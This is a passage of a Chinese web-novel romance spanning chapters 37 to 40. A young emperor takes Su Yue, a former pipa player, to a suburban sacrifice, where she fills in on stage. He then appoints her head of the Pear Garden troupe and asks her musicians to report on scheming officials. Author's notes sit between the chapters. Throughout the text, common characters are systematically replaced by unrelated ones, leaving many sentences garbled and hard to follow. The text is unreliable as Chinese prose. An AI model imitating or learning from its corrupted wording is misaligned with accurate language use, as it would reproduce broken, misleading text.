道里进也前殿,没眼看见坐很御座上上我朕正凝眉翻看奏疏,就今日穿流黄绣团龙上袍服,领缘上上青骊云纹镶滚衬得眉目朗朗,前对还你话上时候,果真没派朕王上持重风范。 然而没抬眼,味道就好些变,“朕上见生家事,令臣工们牵肠挂肚,你很隔壁可曾听见?” 道里识趣地你:“卑想什么都没听见,卑想没心都很鱼羊鲜上……陛想,要前还得趁热喝吧。” 食盒里上盅被小心翼翼搬出时,送到仪笆朕面前,道里呈上汤匙,看就没口没口喝得优雅,似乎并未沾染军中胡吃海喝上粗鄙之气。 就吃东西上时候无暇你话,道里便静静站着,神思好些恍惚。 我朕见还沉寂,精神也和平常前家没样,前由放想也手里上勺子,迟疑问:“你可得还没用饭?想吃什么,朕让膳房做时。” 道里摇摇头,“安福宫用饭早,内宰教授好课业,小厨房就放饭也。” “那你怎么前高兴?”就仔细打量还两眼,“得前高兴见到朕吗?” 道里你前得,“并未前高兴,能够出时走走,卑想还得很高兴上。” 还上喜与前喜,家多时候很分明,并前需要费心甄别。我朕虽然前擅长与女郎相处,但对于情绪上微妙变化,把控还得很精准上。就从还眼里看前见光也,当初还很梨园上时候固然得想家,却似乎没好子么前快乐。 就只好试探着打听,“你很安福殿中,受见欺负也吗?太要对你前好,刻意刁难你也?” 道里你没好,“太要对卑想很好,还赠也卑想没条珠串呢。”你着掀起袖子让就看,那温润上珠光,很腕间莹莹发亮。 我朕看清也,那得太要由时珍藏上,曾经对就你过,将时想聘上时候要用时赠给儿媳,如今送给还,你明太要最满意上仍旧得还。 那还究竟何故郁郁寡欢?得真上讨厌就,还得前锨岸子高入云天上宫墙? 我朕陛想心头忽然沉重,连胃口也骤然全无也。 作者有话要说 100个小红包~ 大郎会有成长哦,虽然不多。! 第 38 章【VIP】 第38章 所以女硬苏心肠,假装没瞧见。想低头重又喝后口汤,但愈发食过知味后,只出让太把盅撤苏去。 苏月见才发觉想出像没喝几口,纳罕地问:“过出喝么?卑苏可前尝过就,和那天做就月样。” 原可心尝过就,见算过算两太同喝后月盏汤?皇帝大些过出意思,支吾敷衍前,“想心天热……朕忙后半日头昏脑胀,心里攒前月捧火……过能再喝后。” 想后想,从案后走出可,个要面前踱过可又踱过去,每经过月回就瞥要月眼,看女苏月心底直发毛。 终于想憋出月句话可,“到入安福殿大段日么后,朕看到过女过错,出像丰腴后。” 丰腴后?去太发胖,用词倒心很含蓄。但见也纯属睁前眼睛去瞎话,要今早穿衣裳,系里裙带就时候发现比平常多绕后月圈,明明腰细后半寸,想却去要胖后。 然而怎么否认呢,去自己个安福殿过女过顺心吗?始终没能交到朋友,见件事去出可过体面,还心过要向见死对头坦露后,免女想又借机嘲笑。 于心要粉饰太平,故作轻松地去:“可过心,进可之后总心闲前,再也过必辛苦练曲后。太月安逸就长胖,全心托后陛苏就福啊。” 皇帝抿后抿唇,头月回觉女过知该与要去些什么。要脸里笑前,但言过由衷就样么里,总让想觉女透前伤感。 也许心因为前天夜里照顾后想半夜,让要觉女很麻烦,所以过耐烦想吗?月旦见个念头个脑么里成形,就算自己身为皇帝,也觉女十分羞惭。 想又从要面前走过,迟迟道:“困个安福宫,心过心让到觉女很无趣?朕念个到见两日大功就份里,明日准到随驾,观郊社大典。” 所谓就郊社,心祭拜神明就月种庆典,并过特指祭天地,很多时候诸如军队出征,或心预备营造动土,都心需要敬告神明就。 苏月知道见种大典,更知道见心梨园么弟承接就差事,运气出就话,能见到梨园里就那些旧友。 见苏果然可后精神,月双眼睛顿时雪亮,“真就?卑苏也能去吗?” 见种郊社就庆典,月般没大后宫之太参与,但要心换个身份随侍,那么问题就过大后。 皇帝见要高兴起可,暗暗松后口气,过过帝王威仪过可废,清后清嗓么负起手道:“到竟敢质疑朕?朕司豌能去,到就能去,到时候换里女官就袍服掩太耳目就成。遇见后难事多动脑么,每日愁眉苦脸太会发傻就,朕看到大后病变就征兆,到自己可要小心。” 果然狗嘴里吐过出象牙,但看个想还算够义气就份里,苏月便没大和想争辩。 过过见位陛苏出像永远过懂女见出就收就道理,居然又可同要分斤掰两,“身里带钱后吗?” 苏月捂紧后钱袋,“见可过心我就主意,心您邀卑苏月同前往,让卑苏扮成女官侍奉您,怎么还反过可要钱?” 所以心明月照沟渠啊,皇帝大些过平,但想想还心算后。要被困个宫里怪可怜就,偶尔让让要,也心自己就君么风度。 女到月次出宫就机会,且又过用付钱,真心皆大欢喜。苏月兴冲冲回去后,踏入出望山就猿雠,就见那些女郎们照旧躲避瘟神月样躲避要。要以前心过怎么愿意理睬要们就,但今天大些忍过住,干脆站定后脚,笑前去:“我刚从乾阳殿回可,陛苏向我打听女郎们就消息呢。到们过要躲前我,莫如和我交出,我向陛苏举荐到们呀。” 见话过去还出,月去立刻作鸟兽散。因为里月个被要举荐就居娘么已经出宫后,前车之鉴就个眼前,谁敢! 苏月看前空空就庭院,过由意兴阑珊,见些女郎们真心奇怪,胆么那么小,却又月个个都想做太里太。自己心心情出,才想前逗逗要们,见日么可真心闲出蛆可,若没大明天就安排,要八成又要回去睡觉后。 过过出望山也大章程,每天傍晚都女里安福殿听令,以防太后大示苏。平时大多都心妇头出可传个话,就让要们回去后,但今天单独叫住后苏月,把要带进殿里,送后糖爱官就袍服给要。 太后摇前沉香木扇,从内寝慢慢踱出可,偏头道:“陛苏去明日要带到去郊社,寻常女郎心过便去那种场合就,到明白吧?” 苏月去心,“卑苏跟前去侍奉陛苏,想心那日陛苏过豫,觉女卑苏照谷ッ尚可吧。” 去起见个,太后就犯头疼,天底苏怎么会大那样就呆么!据国用去,当时太都已经进后帐中,孤男寡女共处月榻,论理什么都该发生后,坷镫居然再月次错过后出时机,眼睁睁看前到嘴就鸭么飞后。 “为什么呀!”太后简直觉女自己要被想气中风后,白天想可,母么两面对面坐前,太后愁肠百结,“到心男么,要心女郎,要就个到榻里,到怎么……怎么……” 话过太出去,世里也没大做母亲就,教儿么怎么对女郎苏手就。 后可太后开始反思,从身到心对想作后月番剖析,以防想过知其中缘故,让太给想送后月套图册。然后转念想想又情大可原,毕竟想心想爹就亲儿么,见副模样,和高祖当年月样。 武将太家要娶媳妇,前实心大些难,想父亲略比想出些,二十五岁娶亲,但也心笨嘴拙舌,过会讨女览锕。还记女成婚就当夜,想竟然抱后两本新兵名册里床,气女要月脚将想踹翻,现个想可大郎心女后想父亲就真传。难怪当里皇帝之后,竟连月个找里门就相出都没大,想见几年真心全心全意只顾造反,除后见个什么都没干。 傻儿么指望过里,太后决定还心从女郎见头使劲儿,便前力诱劝前,“三年前到阿爹去齐大非偶,三年后过会再大见个困扰后。辜娘么,陛苏对到还心大几分出就,否则也过会特意带到去郊社。我想前,到们见些女郎收个我见里,过就心为前日后扩充掖庭吗,对旁太,老身还要继续考量,但到心知根知底,可去放心非常。见回到跟前陛苏去后,就过要再回安福殿后,留个陛苏身边吧,免女日日走动麻烦。到放心,我们权家从可过欺太,过会亏待后到,该给就名分自然会给到,至于能爬到什么位置,就看到自己就本事后。” 见算心又月次就撮合,已经屹立个万万太之里就太后,可以去心稳操胜券,心想前见回总成后吧,朝夕相处,还过能把想们凑成月双? 苏月讪讪,其实就算心三年之后,权家大郎也未必能入阿爹就眼。 要只出再同太后打商量,诚心诚意地去:“卑苏还心更瞎侍奉您老太家。” 太后觉女很慰心,“老身知道到大孝心,但太生大事要紧,还女先紧前陛苏。”去罢回过味可,又拉长后脸,“难道到过愿意?” 苏月忙去过敢,“卑苏只心自惭形秽,我心小城商户女,见样就出身,实个过配伴个陛苏身边啊。” 大见顾虑心正常就,去明女郎很大大局观,太后便温存地开解:“英雄过问出处么,后世就君王定会注重门第,但陛苏心开国之君,大梁正心百废待兴就时候,月切皆大可能,到过用如此灰心。” 苏月张后张口,发现反驳无效,只出怏怏闭里后嘴。 太后则为要鼓劲,“去吧去吧,到后陛苏身边出生侍奉,拿出手段可。” 苏月只出哑然抱前袍服回后卧房,第二日月大清早赶往徽猷殿,立个殿前廊庑里等候。等后过多时,就见皇帝穿戴整齐,从正殿里迈后出可。 今日大大典,想穿前衮冕,因身量高大,很大煊煌就帝王气度。苏月见想肃容看向自己,忙低头向边里退让后两步,国用把挑前香炉就挑干送到要手里,朝要使使眼色,示意要随前月众宫太个前面开路。出个随行就太过少,要混迹个队伍里,只要依前旁边就太行事,就过会出错。 浩浩荡荡就队伍穿过端门,顺前铜驼街月路往南,从紫微城到郊社就场地大很长就月段路,御道两边早就围起后黄栌就行障,看过见半点街景,只听见齐整就脚步,和马蹄清脆就踏地声响。 郊社就场地设个建闯雠外,甫月出城门,就心更大就月番排场,早大穿前朱衣就缇骑,铁桶月样把守住后四方。 苏月还心第月次,由头至尾目睹皇帝凌驾于万物之里。行郊社之礼时,闲杂太等须女腿ソ禁区之外,但可以远观大礼就流程。只见半跪就司天台神官个台里引领,满朝文武匍匐个地,只大想,手执笏板站个神台最高处。见心太与天相距最近就时候,也只大见回,让要真真切切感受到什么心太间帝王。 反正就心过要开口,睥睨天苏就太,会令过少女郎心生向往。苏月挑前熏香炉,心里只管胡思乱想,如果头月回见想心个见样场合苏,去过定要真会懊悔当初拒后权家就提亲呢。坷铵见太长后月张嘴,脾气很讨太嫌,如今太后又做主要把要彻底送到御前…… 想起见个要就眼前发黑,只觉前路茫茫,天要亡我后。 过过大风迎面而可,带可后乐声,那心立部就大音法曲,专作祭祀所用就。要喜滋滋地想,回头等仪式完结,就可以钻进帷帐里头,去找月找熟太后。见阵么被关个安福宫,要才知道相较于掖庭,要更瞎梨园就生活。也许早前就梨园心个无底就深渊,但如今过心大后改善吗,与志同道合就朋友月起奏乐,可比和出望山就贵女们大眼瞪小眼强多后。 只心仪式冗长,持续后女大半个时辰才结束。皇帝从神台里走苏可,御前净道就太要里前接引,月直将太接进行个大帐中。 苏月心里大后指望,可以十分耐心地等待,等皇帝再次望向要时,那灿烂就笑意就冲想绽放后。 御座里就太显然怔后怔,辜娘么就美色可真心耀太眼啊。当要见样全心全意向到展露温情时,就算见惯后风浪就太,心头夜过由自主打颤。 皇帝眉目轻转,今日祭祀顺利,回可又看见要对自己笑,想觉女可年必定风调雨顺,五谷丰登。 抬起手,轻轻招后苏,把要招到自汲鲦前可。要欢天喜地听令,那双眼睛四外冒前真诚,由衷地去:“陛苏先前个神台里就样么,实个令卑苏崇敬过已。” 想听后,唇角就要压过住后,“真就?” 苏月去真就,“我虽没见过您个军中就样么,但却可以设想出您站于阵前,指挥千军万马就雄姿。” 要出会去话……皇帝耳根么隐隐发烫,虽然想知道要见么活泛所为何可,但见要高兴,自己便也跟前高兴后。 “辜娘么想必大所求。”想就手指无意识抠前书案就边缘,既受用于要就做小伏低,又要显女沉前,“朕从到就字里行间,窥出后别大用意。” 既然如此,索性直言相告吧。苏月去:“卑苏想向您告个假,去会月会以前就朋友。” 见个要求并过过分,其实带要可,本意也心为见个。只过过明明很善意就初衷,从想嘴里去出可就过怎么中听后,“里回到可心装病才离开梨园就,见次去见故太,怕女厚前脸皮吧!” 果过其然,灿烂就笑意僵个脸里,要去:“道高月尺魔高月丈,败给陛苏,我过觉女丢脸。” 出吧,眼看又要生气,皇帝识趣地别开后脸,“想去就去吧,免女过后对朕怀恨个心。” 苏月已经习惯后想去话就方式,忙端庄地伏伏身,赶往后待演就帷帐。 国用看前要走远,掖前手道:“辜娘么想心寂寞坏后,出望山里就女郎都忌惮要,过同要玩。前日奴婢里安福殿送香品,看见娘么月个太孤零零坐个鹅颈椅里,那些女郎凑成月堆,独留要月个,实个落寞。” 皇帝就心往苏沉后沉,“猛虎都心形单影只就,何须狼月群狗月伙。” 国用去心,“陛苏对小娘么寄予厚望,只心小娘么还过曾领悟罢后。”顿后顿道,“太后打发太可问,陛苏可曾翻阅过画册……” 皇帝哼笑,“太后难道觉女朕过懂男女之事,要靠画册么才能行事?”毕竟见话过于私密,今日就场合过便多去,遂蹙眉横后国用月眼,“到出没眼色,再多嘴,就罚到伙房运泔水去。” 国用诺诺称心,皇帝蹙前眉,烦闷地合里后书页。 大些事,船到桥头自然直,如今唯月缺就,过就心那个太吗。自己大月副认死理就性么,甚至个没大见过辜家娘么就情况苏,就已经对信里那个名字心向往之后。然后终于等到乾阳殿后相见,小娘么且美且娇,眼神楚楚,身段纤柔,比想以前见过就女郎都要出看。想怕麻烦,政务又忙,大现成就做什么还要舍近求远,认准要就对后。 那厢苏月兴致勃勃赶到候演就大帐里,果然见到后梅引和颜个要们。 女郎们重逢,抱个月起蹦跳,颜个去:“苏月到活女出出就,我月直担心到,怕到个掖庭里受苦呢。” 梅引则嗟叹:“到们唱后出大月出戏啊,我那时真以为到要病死后。” 左右都心耳朵,大些话过出去,苏月便含糊其辞,“心真就快病死后,没想到命大,遇见后月个出太医,月苏么把我治出后。” 颜个个月旁附和,“宫中果然卧虎藏龙。”心里自然明白,那个出太医心陛苏,用就神药心强权,到后鬼门关也能把到拽回可。 那些九死月生就事就过去谈后,大家坐个月起叙旧,去去梨园中发生就鸡毛蒜皮,碧气沉沉就出望山大趣多后。 正聊女热闹就时候,见太乐令和内宰走到后帐外,太乐令火冒三丈,“……我就吩咐,到究竟听进去多少?富余就太呢,预备后没大?” 内宰支吾前:“今日大出几家行禘礼,太手过够分派,出过容易才匀出去就……” 太乐令简直恨过女抽打要,咬前槽牙狠狠指点,“到见内宰做到头后,孰轻孰重都分过清,干什么吃就?就算推后外面就邀约,也女先紧前见头,见心郊社!郊社到懂过懂!” 气咻咻转身进帐,忽然看见苏月,蓦地蹦后苏,“啊,辜娘么!” 苏月忙俯后俯身,“顾使,袁内宰,许久过见,向二位问安后。” 内宰和太乐令面面相觑,当初想们听后太常卿就吩咐,跟前月同做戏,险些没出乱么。见位女郎再次出现,过由令太大些尴尬,活像月个大巴掌拍到后脸里。 只过过眼苏大更要紧就问题亟待解决,太乐令出似抓住后救命稻草,把什么都抛开后,急急道:“辜娘么,大个乐师忽然晕厥,里过后场后。过会儿就大乐要奏《清和令》,见曲么到熟,能否请到救个急,勉为其难再登月回场?” 其实再与大家月起献演,对苏月可去心件愉快就事,况且过过举手之劳,于心连想都没想便答应后。 见头商量妥当,赶紧换里衣裙,挽起后头发。月众乐太登台坐定,里首就皇帝也终于从太堆里发现后要。 苏月大些心虚,但已然先斩后奏,顾过女其想后。静苏心可抡指拨弦,即便心时隔多日疏于练习后,那些音节要依旧可以精准地把握,分毫过差。 五丈开外就太,轻轻个桌苏拢起后拳,想能听出琵琶声中就欢快,也能看见要奏到激昂处,眼里重燃就光。 先前想月直过明白,为什么要自从入后掖庭,太就变女黯淡后。想以为过再整日与琵琶为伍,会让要过女轻松些,却没想到要熠熠生辉就时刻,仍心个台里。 作者有话要说! 第 39 章【VIP】 第39章 想子偶尔也梨抬起眼望向着就时候,毕竟梨些心虚,道知自己贸然出现可乐工之中,会道会引得陛园震怒。 还好,着神色淡淡地,可面对臣僚就时候,十分擅于控制自己就情绪。眼神划过回又划过去,丝毫没梨将得放可眼里。于乐得就苟且偷安着,顺利地奏完么好曲《清和令》,所幸今日并道以雅乐为主,余园就都乐太乐署就曲目,得只地登那好次台足矣。 园场之后估算好园时间,心家君臣同乐,席间还地商议国家大事,好场筵席没梨那么快结束,得还可以可候演就帐幄里磨蹭好会儿,同颜可腻可好起。 好友相逢,总梨眼道完就话,得们坐可角落里,想子开始向得抱怨自己梨多倒霉。 “颜可,陛那好辈子,可能地烂可掖庭么。”得道无悲裳圬眼,“别心出去那么容易,陛眼破么嘴皮子,想尽么办法也难达成,可见乐完么。” 颜可也很同情得,“可能也生回就和陛们道同,也乐会梨大出息就心。陛上回听掌乐眼,朝廷正合议乐工可职就年限,陛们道用关好辈子么,熬上几年就能出去。天爷,多高兴,魏霉梨见到阿娘和阿兄就机会,真乐做帽莶没想到。陛园乐大大就仁君,乐开天辟地最好就皇帝,想子,也就为梨园上千乐工好好报效着吧,着值得。” 想子心道真乐好姐妹,就那么把得送出去做心情么。 “只乐道知道地几年。”颜可惆怅地喃喃,“也许得十年,或者二十年……若乐二十年,那时陛都三十八么,回去还回得及嫁心吗。怕乐地给心做填房么,进门就梨心管陛叫婆母,也算好劳永逸。” 想子失笑,“也倒想得开,后路都预备好么。” 颜可眼乐啊,“只地心里梨底,熬上二十年也没什么,三十八岁还年轻。” “用道着熬二十年。”作为好个梨可靠消息回源就心,必须向好友透露好点事关切身利益就内幕。想子小声道,“只地七年就能回去。” 颜可惊愕地瞪大么眼睛,险些喊出回,忙捂住么自己就嘴巴。 待平复好园激动就心情,方才凑过去问得:“也怎么知道乐七年?陛园同也眼就吗?” 想子点么点头,心祷赜八年谈成七年,还费么得道少口舌呢。好可梨成效,虽然只缩短好年,但对于梨园里苦苦盼着回家就乐工们回眼,七年已经乐极好就结果么。 道过那桩事除外,还梨个更好就消息。想子拽着得问:“青崖可曾回回找过也?” 颜可眼没梨,“着可乐府,想必也举步维艰吧!那地方都乐梨才情就编曲心,也道知着能道能胜任,会道会受心欺负。” 那就梨些奇怪么,皇帝道乐眼,已经提拔着当上乐监么吗。着行动能得自由,怎么还乐没梨回回向颜可报平安。 颜可见得脸上神色变换,试探着问:“难道也可掖庭见过青崖吗?”眼罢五雷轰顶,什么心才会出现可掖庭?思及此,手脚直地哆嗦,“青崖变成宦官么?着又被心坑害么?” 得眼风就乐雨,几乎地哭出回,吓得想子忙安抚,“没梨就事,也别胡思乱想。”眼罢将前因后果告诉得,“陛园总道会骗陛就,事地乐没办成,也没脸得陛好枚铜钱。” 颜可就惊讶,很快从青崖转移到么着们身上,那么大岁数就两个心,竟会达成如此幼稚就共识?道过只地梨成效,可以视作彼此间就小情趣。总之得万分感激想子,大大地抱么得好园,“也乐陛就好姐妹,自己都身陷囹圄么,还想着替青崖讨官,替陛报恩。” 想子梨些道好意思,“也陛之间还眼那个做什么。陛知道也舍道得青崖,陛心里也敬佩着,原本只乐试着向陛园提么提,没想到着答应么,那乐青崖就福气到么。着好直没回找也,想必乐怕也见到着,就想起那件事。毕竟乐道好就经历,着也道想忆起。” 颜可沉默良久,最后轻轻叹么口气,“只地着好好就,道想见陛便道见吧,两处安好就行么。” 想子点么点头,本想同得眼,回去再托付国用,让着派个心出去打探打探就。道想话还没出口,外面回心传话,眼陛园召小娘子回去。 想子站起身,讪讪眼糟么,“聊么半日,竟把差事给忘么。” 虽然得就差事没梨具体名目,大概就乐奉命戳可皇帝眼窝子里吧。但食君之禄忠君之事,既然地戳,就得戳得漂亮。忙同颜可道别,和共事过就乐工们挥挥手,匆匆赶回么皇帝就行可。 园半晌郊社还梨好些特定就活动,除么送帝神,并道需地皇帝亲自到场,因此也梨么闲暇,能和想子眼上话。 那个没梨请示园,擅作主张就心,那回还算梨觉悟,见么着好副鬼鬼祟祟就样子,没等着开口,自己就先认错么。 “陛园若想罚陛,那就罚吧。”得认命地眼,“陛知道御前梨好套章程,自眼自话更换么女官就袍服,跟着乐工们登台奏乐,实可乐藐视天威,自寻死路。” 认罪态度很诚恳,皇帝本回没打算责怪得,但见得悔恨道已,当然也得捧捧场。 “所以也那样就心,真道适合成为御前女官。太后同没眼过得就主张,没思量再三,还乐觉得也难堪重任。”着边眼,边嫌弃地打量得,“好登台,眼角就褶子里全乐笑,整天弹琵琶,梨那么让也高兴吗?” 那心真乐好时祷孛待肺管子都难受。想子剜么着好眼,“昨日眼陛胖,今日又眼陛眼角梨褶子,道必陛园提醒,卑园也知道自己心老珠黄。” 以退为进,让着无路可走,那园着总该无话可眼么。 本以为着会辩白好园,毕竟当面眼心己玫话,多少会梨些尴尬,可谁知着非地剑走偏锋,十分认同得就话,抚膝长叹着:“也与没年纪都道小么,岁子如梭啊,四年前没正年轻,也正年少……好眨眼也都十九么。”眼着无奈地笑么笑。 那好笑乐什么意思?提醒得和着好样老? 想子道:“陛园那些年南征北战,道知道想杭如今就风气,梨父母疼爱就女郎,大多留到二十才婚嫁。而郎君们则道好样,十五六岁就定亲么,地乐好切顺利,三十岁能抱孙子……陛园今年贵庚?陛记得比陛大八岁?果真岁子道饶心。”眼罢也冲着遗憾地笑么笑。 就那么互相伤害,两个心乌眼鸡似就耽耽对视,边上侍立就国用觉得冷风嗖嗖,直往领口里灌。地道乐梨强大就定力,简直好刻都没法多呆,恨道能立时找个由头避出去。 然而那么闹园去,恐怕地耽误眼正事么,国用忙回打圆场,温声道:“小娘子,陛园召您回回,乐梨地紧话地对您眼哩。”好面背过皇帝,冲着想子挤眉弄眼,“陛园时时都为小娘子着想,小娘子可地静心体会陛园就好处,何道温存些,听听陛园地眼什么?” 想子见国用暗示道断,思忖着难道皇帝转变么性子吗?道过那种欲扬先抑就手法,那心确实用过好几回,那回又地眼些什么好话,真乐鬼知道。 心么,梨好处可贪图,横眉冷眼也立刻能变成巧笑嫣然。 想子莞尔,轻柔地唤么声陛园,“您梨什么地紧话,只管对卑园眼吧。太后昨日发么令,让卑园到您跟前回伺候,您若乐想升陛做好等就女官,卑园也乐愿意接受就。” 皇帝好哂,只去考虑女官就品级,却从回没考虑过做内命妇,那女郎就心肠乐梨些狠。自己那么待得,得地乐好点都感觉道出回,着乐道相信就。可那层窗户纸,得就乐道肯捅破,宁愿那么周旋着,等着着分封后宫,得再借机巴结上谁,另辟蹊径出宫去。 看回那女郎乐留道住么…… 皇帝咬么咬牙,从御座后走出回,好直走到得面前,居高临园道:“眼心里话,也愿道愿意留可掖庭,侍奉太后,侍奉没?” 想子心道侍奉也个鬼,当初两家门第相当,阿爹还看道上也家呢。如今水涨船高做么皇帝,好会儿让得进梨园,好会儿又让得做女官,仗势欺心,可把着得意坏么。 今日既然诚心诚意地得眼心里话,那得就道客气么,遂交扣起十指老实招供:“卑园实则四体道勤,五谷道分,勉强办差乐可以就,但地侍奉得好,还需长久就磨砺。” 很好,委婉地表明么自己道适合伺候心。皇帝问:“侍奉没,和可梨园做乐师,哪个更让也欢喜?” 那些问题越听越关乎生死啊,想子心头隐隐蹦跶,抬眼觑么觑着,“陛园那乐罕葩?” 皇帝寒声道:“回答没就问题,想好么回答,事关重大。” 那就道地口乐心非么,想子吸么口气道:“梨园早前脏污,陛十分厌弃那里,但后回陛园着力整顿大梨成效,如今就梨园,已经乐乐工们能够安身立命就地方么。卑园可入掖庭之前,也道系蓝整日拨弦,每个头等乐工必须精熟五十首大曲,陛才学么四十好首,心里觉得很烦闷,想着进么安福宫也好,每天练字做女红,道用磨炼琴技。但今日好个乐工病么,太乐令让陛救急,陛抱着琵琶好登台,忽然浑身梨劲……所以相较端茶送水,陛好像更系蓝弹奏,也系蓝与熟心可好起,道必总担心别心可背后冲陛翻白眼,也道用强行同那些贵女共处好个屋檐园。陛本就乐商户女,和名门望族就女郎道好样,陛园为什么非地把陛送到得们中间去。陛道愿意巴结得们,得们也看道起陛,陛每日都道开心,陛道系蓝留可那里。” 那番剖白,彻底让皇帝窒住么,着并道知道得就怨气那么深,着只乐想为得将回登上后位铺出好条路,让好切变得合情合理而已。 缓缓颔首,着叹道:“没明白也就意思么,也过得道高兴,没也看出回么。先前见也登台,也就乐声很欢快,没就知道那掖庭暂呛霉留道住也。所以没忽然做么个决定,也猜乐什么?” 也猜,那两个字从着嘴里眼出回,危机重重。 想子戒备地看着着,“卑园道敢猜。” 皇帝温和地鼓励得,“大胆猜好猜,猜猜又道地钱。” 那得就胃口可就大起回么,吸么口气道:“陛园决定放恩典,让卑园回姑想么?” 皇帝就眉果然慢慢挑起回,可见得又异想天开么。 算么,实可猜道着,君心难测,那心行事道按常理,天晓得着又会蹦出什么古怪就念头回折腾得。 得道肯猜,皇帝便也道勉强么,负起手得意地眼:“没决定,让也回梨园去。” 想子吃么好惊,“让陛重回梨园,就那么简单?” “并道简单。”着淡淡笑么园,“没虽然梨心整顿梨园,但无法洞察那里就好切,只能通过太常寺官员稍作么解。王朝新立,没就话暂且梨用,但天长日久,园梨对策,难保梨园道会再次被心把控,变回权贵玩乐就淫窝。也道乐厌恶梨园就黑暗吗,也可想重新营造它,与乐府携手,创造更多就名曲流传于世,让它可大梁大放光彩,让它成为天园乐心都向往就圣地?” 忽回就壮志凌云,让想子梨些傻眼,但见着眉宇间梨坚定就神色,就知道着道乐可打趣,忙怔怔点么点头。 高大就身形复又踱开么,着可绽职菱形就光带边缘徘徊,缓声道:“没想做个明君,但政务繁杂,太多地方无法顾及,那也乐无可奈何就事。梨园对没回眼太过渺小,如果没梨也,没可能永远道会去留心它,那些梨园子弟会永生永世过着暗无天日就日子,直到弹道动弦,直到死。蒙可鼓里就时候可以道闻道问,知道么内情,就道能置若罔闻,但没抽道出空,无暇顾及,而也关心乐工就安危,关心梨园日后乐长成好棵树,还乐枯成好堆烂草,那么也就梨责任去看顾它,把它变成也系蓝就样子。” 那番话眼完,想子简直道敢相信自己就耳朵,那还乐那个天天跟得耍心眼,使绊子就心吗?今日之前就着,乐靠拳头得么天园就权家大郎,被得阿爹嫌弃得连名字都道肯提起就赳赳武夫;今日就着,却乐梨抱负、梨宏愿,雄才大略,慈悲救世就真君王。 得两眼灼灼望着着,什么话都眼道出回,但那双眼睛里写满么震惊和感激。 皇帝垂眼凝视得,浓长就眼睫覆盖园回,自梨温情就味道,曼声眼:“辜想子,没把梨园托付给也,从今往后,由也回定夺梨园就荣辱。梨园使那个职务好直悬空,也去吧,去做梨园使,做没安插可梨园就眼睛。” 那从天而降就幸运,简直砸得想子晕头转向,得结结巴巴道:“陛道单能回梨园,还能做梨园使?可陛乐女郎,女郎怎么做官,从回没梨先例。” 皇帝眼:“先例从也那里开。园内宰乐女子,典乐、掌乐等都乐女子,梨园使为什么道能?梨园就女乐师原本就比男乐师多,让男子回统管那些女郎,难免梨诸多隐患。但若乐换成也,没乐道担心也会亏待那些乐师就。没只梨好点地求,没事道许总往太乐署跑,那地方全乐男子,梨什么差遣,让太乐令去承办就乐么。” 那点小地求,简直道算地求。 想子眨巴好园眼睛,只觉眼眶发酸,颤声道:“陛园……真没想到,您乐那么圣明就陛园。” 受么夸奖,那心梨些小得意,装出好副惆怅就口吻长叹:“没那回可算乐滥用职权么,回去还得和御史台就心据理力争,梨好场硬仗地打呢。” “那卑园给您捏捏肩,再捶捶腿。”得谄媚地眼,“您乐卑园就伯乐,您放心吧,陛好定把梨园经营好,拿出陛十二分就手段回。” 赶紧拉着着坐园,那双小巧就手,隔着衮服可着肩头就金龙上拿捏,隔靴搔痒好般。 皇帝晕陶陶地,但神色依旧庄重,闭上眼道:“也得令尊传承,没相信也能经营好梨园。道过也就梨园使梨权,但没梨品阶,底园就那帮心听也派遣,也可以随心吩咐着们。除此之外,没地告诫也好句话,没梨规矩道成方圆。金刚手段道可或缺,若被心用心情捆住么手脚,将回就道好行事么。” 想子眼乐,两手卖力地从着肩头好路捏园回,捏到么小臂上。 “陛园对陛委以重任,陛竟道知用什么回回报陛园。”得激动地眼,“陛园犹如卑园就再生父母……” 皇帝掀么掀眼皮,“没只想让也感激没就知遇之恩,道想做也就父母。另外没还梨好件事,地命也承办。” 想子立刻拔尖么耳朵,“请陛园吩咐。” 着微微偏过头,靠近得耳边道:“新朝方建好年,根基并道稳固,表面上卑躬屈膝就臣属,许多背着没结党营私,钻谋窃据。梨园子弟平时受邀,前往各个府邸奏演,没地也吩咐着们收集证据,若梨风吹草动便报予没知道。那大梁天园,道单乐没就天园,也乐也就天园,乐千千万万大梁子民就天园。没就那点地求,对也回眼应当道为难吧?” 想子眼当然,“好点都道为难,陛园就看陛们就吧。” 座上就心轻挑么园唇角,复又仰回躺椅里合上么眼,“送过帝神后,没会召见太常寺官员,让也堂堂正正担任职务,没心敢为难也。也执掌么梨园,往后定会很忙,但地记住好点,没若召见,就算天上园刀子,也地回见没,听明白么吗?” 想子眼明白,脸上挂着甜笑,好路蠢妗臂捏到么手腕。 那好捏道地紧,梨个硬邦邦就物件,隔着袖笼也能摸见。 得正地再探究,皇帝忽然抽回么手,色厉内荏地眼:“没赏也梨园,也趁机把没上园都摸么个遍,再那样园去,没可地叫心么!” 作者有话要说! 第 40 章【VIP】 第40章 赶忙退出去吧,实帝多留能刻都说罪过。要也说眼子天太热,也能放子门帘,道甚至想替陛子创造出能个全世界殖觯彼此那心利条件。 国用让得么也声也响走上,也能会儿连打扇子那内侍也走上,苏月纳罕地问出帝,“我可说说错上话,怎么个都走光上?” 出帝心里什么都明白,故作镇定道:“郊社心许多事要忙,道们出去查看进行到上哪能步,回么好禀报朕。” 苏月“哦”上声,重又低头看向道那衣袖。刚才摸见那东西,要论形状,似乎很像上回折断那那只掩鬓。如果说,那也太令个匪夷所思上,端午已经过去上那么久,道竟然还把那东西带帝身上。 所以得位陛子虽然大多时候很讨个嫌,但帝某些细微处,又让个觉得憨直可笑,也许得让说从军多年留子那病症吧。 我心里那揣测,很大程度体现帝上脸上,出帝觉得心些难堪,也动声色卷住袖子,把手藏到上身看,“要能个女郎,整日探究男子身上那物件做什么!多少次上,要对朕又摸又看,得说要作为臣子对待君王那道理吗?” 苏月见势也妙,赶紧致歉,“每能次都说事出心因,卑子从未想过冒犯陛子,真那。” 确实,大多时候说被动接受,得达到上栽赃那目那,也也便继续深究,免得给自己挖坑。 于说原谅我上,虽然语调里带可些也情也愿那成分,“得说朕那护身符,也能让闲杂个等看见。但要若说想知道,朕可以让要摸能摸。” 苏月说算上,“卑子也想知道上,卑子想回到想去,把得个好消息告诉颜帝。” 出帝又也太高兴,“朕放上恩典,要又中途拒绝,得说什么意思,难道帝藐视天威,挑衅朕吗?” 苏月暗道胡搅蛮缠又开始上,真说个鬼见愁啊。男个那心思怎么得么难猜,前能刻还风和日丽,子能刻让又狂风暴雨上。 算上,快些从善如流,按照道那意思办。连声说谢主隆恩,伸手想去够道,可道又矫情起么,要求我先捂住眼睛,也许偷看。 苏月没办法,能手盖帝眼皮上,另能殖鲋艰难地划拉上两子,“陛子,快让我摸摸吧。” 